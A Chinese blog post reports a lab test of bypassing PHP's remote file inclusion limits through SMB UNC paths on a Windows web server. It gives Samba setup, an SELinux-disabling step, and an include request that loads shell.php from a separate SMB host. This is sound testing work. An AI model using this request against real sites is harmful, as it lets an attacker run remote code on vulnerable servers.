用SMB绕过php远程文件包含限制的实践测试
前言
看到freebuf上的《RFI绕过URL包含限制Getshell》和先知社区上的《通过SMB造成远程文件包含(双Off情况)》这两篇文章,说是利用SMB协议可以绕过php对远程文件包含的限制。
默认情况下,php.ini当中allow_url_include
为off
,是没有办法对一个文件包含漏洞进行远程文件包含的,更何况连allow_url_fopen
都为off
。
看完这两篇文章,可以想到PHP肯定是没有考虑到SMB协议\\192.168.1.1\test.php
这种情况,认为这种情况是本地文件路径,但是在支持SMB客户端的系统下却成了远程文件包含漏洞。
同时我第一时间想到这里用的特性,实际上和MySQL利用DNS实现注入总结是一样的,应该都是在Windows web server下才能触发的漏洞。
实际测试
1. 在CentOS 7 下搭建SAMBA服务
SambaA: 192.168.31.140
为Centos 7 的samba服务器
WinWebB: 192.168.31.139
Windows 10 的PHP WEB Server
编辑smb配置文件
1 | [global] |
重启smb服务
1 | service smb restart |
发现其他机器访问不到,iptables在作怪,将445和139端口加入白名单
1 | iptables -I INPUT 1 -p tcp --dport 445 -j ACCEPT |
在其它机器上nmap查看端口,可以发现445端口了,安装成功。
在另外一台windows 10主机上运行处输入\\192.168.31.140\icatest\
可以匿名访问。
2. 在SMB共享目录里写入phpinfo测试文件
SambaA共享目录/var/www/html/pub/
下执行:
1 | touch shell.php |
内容为:
1 | <?php |
在WinWebB下运行处输入\\192.168.31.140\icatest\
打开发现共享目录没有内容,可以刚才我们明明写入了shell.php
。是SecLinux在作怪:
在SambaA命令行输入
1 | setenforce 0 |
关闭seclinux发现出现shell.php
了。
3. 测试远程文件包含
在WinWebB机器上的web目录里写入php文件test.php
1 | <?php |
接着关闭php.ini的allow_url_include
为off
和allow_url_fopen
访问http://localhost/test.php?file=\\192.168.31.140\icatest\shell.php
文件包含成功。
4. 更换Web Server平台为Mac
利用smb可以再刚才的WinWebB 的 Windows 10机器上成功的进行了远程文件包含。
我们现在更换Web Server为Mac试一下。
在MacWeb Server C 下同样执行3
中的操作。
然后访问http://localhost/test.php?file=\\192.168.31.140\icatest\shell.php
直接报错。
5. 结论
如同开始所预想的,这个漏洞和MySQL利用DNS实现注入总结一样,还是利用了Windows 平台对于SMB支持的特性。在默认不支持SMB协议的Linux和Unix平台无法利用。
凡事要自己动手测试,才能得到真正结论。
- 本文链接:http://l4yn3.github.io/2019/05/21/用SMB绕过php远程文件包含限制的实践测试/
- 版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 CN 许可协议。转载请注明出处!